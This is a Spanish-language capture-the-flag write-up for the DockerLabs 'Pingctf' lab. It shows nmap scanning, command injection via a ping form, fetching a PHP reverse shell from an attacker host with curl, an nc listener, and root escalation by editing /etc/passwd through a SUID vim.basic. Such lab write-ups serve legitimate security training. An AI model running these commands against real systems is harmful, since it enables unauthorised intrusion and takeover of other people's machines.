Pingctf, DockerLabs
Herramientas y recursos
En este reto de DockerLabs practicamos.
Tecnicas | Herramientas |
---|---|
scan de puertos | nmap |
revshell | pentestmonkey |
vim.basic | gtfobins |
Reconocimiento y enumeracion
Lo primero como siempre le tiramos un nmap con los parámetros de costumbre.
1
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -oX pkgpoison 172.18.0.2
Como vemos en el reporte en esta ocasion solo disponemos del puerto 80 http asi que investigamos la web.
Vemos que nos permite en principio ejecutar ping pese a que a mi no me lo hice consegui inyeccion de comandos con |. Trate de enviarme una revshell pero parece que htmlchars no deja pasar cierto simbolos ni codificando en unicode.
Lo que hice fue comprobar si disponia de curl y me subi una revshell con la cual obtener una terminal en mi maquina.
Lo primero descragar la revshell, una vez descargada editamos el fichero indicando la ip y puerto de la maquiana atacante , luego nos levantamos un server en python o lo que quieran para poder trasnferirla, una vez en la victima podemos ponernos en escucha y lanzar la webshell.
1
2
3
python -m http.server 8080 # maquina atac
curl http://atacante:puerto/nombredefichero.php -o webshell.php # maquina victima
nc -lnvp 8899
Lo siguienet es realizar el tratamiento de la tty para evitar errores y que podamos usuar las teclas , limpiar etc …
1
2
3
4
5
6
7
8
script /dev/null -c bash
control Z con esto la pasamos a segundo plano
stty raw -echo ; fg
reset
en otra terminal lanzamos stty size para saber el numero de filas y columnas de nuestra terminal
export TERM=xterm
export SHELL=bash
stty rows 32 columns 149
Ahora con la term mejorada en la medida de lo posible empezamos a ver que podemos hacer , no hay sudo y aparentemente solo esta el user root y ubuntu , no obstante hay suerte con find suid.
1
find / -user root -perm /4000 2>/dev/nul
Nos han dejado vim.basic para realizar la escalda , cosa que ha vuelto loco por los errores que me daba cuando trataba de ejcutar un shell desde dentro de vim , asi que lo que hice es ir a lo facil , simplemente modifque el /etc/passwd eliminado la x y despues su root.
Para ello ejecutamos :
1
2
3
4
/usr/bin/vim.basic # dejamos que se muestren errores y esperamo para llegar a su prompt en el cual escribimos
:e /etc/passwd # una vez editado lo guardamos pero realizando el proceso de forzado
:wq! # coneso deberia quedar modifcado el fichero y listoi para el ultimo paso
su root
Me volvio loco vim.basic
Muchas gracias por leerme, espero que te haya gustado y que te sirva de ayuda.
Comments powered by Disqus.